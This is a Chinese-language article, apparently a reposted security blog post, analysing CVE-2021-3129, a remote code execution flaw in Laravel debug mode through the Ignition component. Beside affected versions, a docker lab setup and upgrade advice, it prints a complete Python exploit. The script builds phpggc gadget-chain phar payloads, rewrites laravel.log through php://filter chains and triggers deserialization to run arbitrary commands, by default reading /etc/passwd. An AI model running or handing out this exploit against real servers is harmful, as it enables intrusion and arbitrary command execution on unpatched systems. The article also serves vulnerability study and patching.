您好,登錄后才能下訂單哦!
小編給大家分享一下Laravel Debug mode 遠程代碼執行漏洞CVE-2021-3129的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
CVE-2021-3129-Laravel Debug mode 遠程代碼執行漏洞
一、漏洞簡介
Laravel是一套簡潔、開源的PHP Web開發框架,旨在實現Web軟件的MVC架構。
Laravel開啟了Debug模式時,由于Laravel自帶的Ignition 組件對file_get_contents()和file_put_contents()函數的不安全使用,攻擊者可以通過發起惡意請求,構造惡意Log文件等方式觸發Phar反序列化,最終造成遠程代碼執行。
二、影響版本
Laravel <= 8.4.2
Ignition <2.5.2
三、環境準備&漏洞復現
環境地址:
環境和exp下載:后臺回復 “CVE-2021-3129” 下載即可
或者下面下載:https://github.com/SNCKER/CVE-2021-3129
執行
docker-compse up -d
訪問8888端口即可
訪問地址:http://127.0.0.1:8888
漏洞復現:
1、在下載GitHub上下載的docker環境中帶有exp,使用此exp需要下載phpggc
2、把exp和phpggc放在同一目錄,使用python3執行exp,可以看到執行了exp里命令
Macos執行報錯
切換kali環境執行命令:
修改腳本添加參數:
環境和exp下載:后臺回復 “CVE-2021-3129” 下載即可
py腳本code
#!/usr/bin/python3 import requests as req import os, uuid class Exp: __gadget_chains = { "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", } # phpggc鏈,暫時添加rce1后續再添加其他增強通殺能力 __delimiter_len = 8 # 定界符長度 def __vul_check(self): resp = req.get(self.__url, verify=False) if resp.status_code != 405 and "laravel" not in resp.text: return False return True def __payload_send(self, payload): header = { "Accept": "application/json" } data = { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "cve20213129", "viewFile": "" } } data["parameters"]["viewFile"] = payload resp = req.post(self.__url, headers=header, json=data, verify=False) # print(resp.text) return resp def __command_handler(self, command): """ 因為用戶命令要注入到payload生成的命令中,為了防止影響結構,所以進行一些處理。 """ self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位頁面中命令執行結果的位置。 # print(delimiter) command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter) # print(command) escaped_chars = [' ', '&', '|'] # 我只想到這么多,可自行添加。 for c in escaped_chars: command = command.replace(c, '\\' + c) # print(command) return command def __clear_log(self): return self.__payload_send( "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __gen_payload(self, gadget_chain): gen_shell = self.__gadget_chains[gadget_chain] % (self.__command) # print(gen_shell) os.system(gen_shell) with open('payload.txt', 'r') as f: payload = f.read().replace('\n', '') + 'a' # 添加一個字符使得兩個完整的payload總是只有一個可以正常解碼 os.system("rm payload.txt") # print(payload) return payload def __decode_log(self): return self.__payload_send( "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __unserialize_log(self): return self.__payload_send("phar://../storage/logs/laravel.log/test.txt") def __rce(self): text = self.__unserialize_log().text # print(text) echo_find = text.find(self.__delimiter) # print(echo_find) if echo_find >= 0: return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)] else: return "[-] RCE echo is not found." def exp(self): for gadget_chain in self.__gadget_chains.keys(): print("[*] Try to use %s for exploitation." % (gadget_chain)) self.__clear_log() self.__clear_log() self.__payload_send('a' * 2) self.__payload_send(self.__gen_payload(gadget_chain)) self.__decode_log() print("[*] Result:") print(self.__rce()) def __init__(self, target, command): self.target = target self.__url = req.compat.urljoin(target, "_ignition/execute-solution") self.__command = self.__command_handler(command) if not self.__vul_check(): print("[-] [%s] is seems not vulnerable." % (self.target)) print("[*] You can also call obj.exp() to force an attack.") else: self.exp() def main(): Exp("http://127.0.0.1:8888", "cat /etc/passwd") if __name__ == '__main__': main()
四、安全建議
建議將 Laravel 框架升級至8.4.3及以上版本,或將 Ignition組件升級至 2.5.2 及以上版本。
下載鏈接:
https://laravel.com/docs/8.x#laravel-the-fullstack-framework
參考:
https://mp.weixin.qq.com/s/ShRvF_YeV9JbJJnOUjklCw
https://github.com/SNCKER/CVE-2021-3129
https://www.venustech.com.cn/new_type/aqtg/20210114/22299.html
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
以上是“Laravel Debug mode 遠程代碼執行漏洞CVE-2021-3129的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。